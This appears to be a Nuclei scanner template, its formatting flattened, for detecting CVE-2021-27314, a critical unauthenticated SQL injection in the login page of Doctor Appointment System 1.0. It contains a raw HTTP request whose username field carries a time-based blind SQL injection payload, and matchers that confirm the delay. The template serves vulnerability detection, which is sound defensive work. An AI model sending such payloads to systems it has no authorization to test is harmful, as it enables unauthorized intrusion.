id: CVE-2021-27314 info: name: Doctor Appointment System 1.0 - SQL Injection author: theamanrawat severity: critical description: | SQL injection in admin.php in doctor appointment system 1.0 allows an unauthenticated attacker to insert malicious SQL queries via username parameter at login page. remediation: | Upgrade to the latest version to mitigate this vulnerability. reference: - https://www.sourcecodester.com/php/14182/doctor-appointment-system.html - http://packetstormsecurity.com/files/161642/Doctor-Appointment-System-1.0-Blind-SQL-Injection.html - https://nvd.nist.gov/vuln/detail/CVE-2021-27314 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2021-27314 cwe-id: CWE-89 epss-score: 0.37027 epss-percentile: 0.96743 cpe: cpe:2.3:a:doctor_appointment_system_project:doctor_appointment_system:1.0:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: doctor_appointment_system_project product: doctor_appointment_system tags: cve,cve2021,sqli,doctor-appointment-system,packetstorm http: - raw: - | @timeout: 10s POST /admin/ HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded username=test'+AND+(SELECT+6133+FROM+(SELECT(SLEEP(6)))nOqb)+AND+'RiUU'='RiUU&password=test&submit= matchers: - type: dsl dsl: - 'duration>=6' - 'status_code == 200' - 'contains(body, "Doctor Appoinment System")' condition: and # digest: 4b0a00483046022100e89a75f809bfea9e40f8190850bc0830b10837db5884ef79e70ddd661fa476fd022100d90b5173adfaa426e81e8f7be17f73c5c59160539f0d3e731cfb050d7cc39782:922c64590222798bb761d5b6d8e72950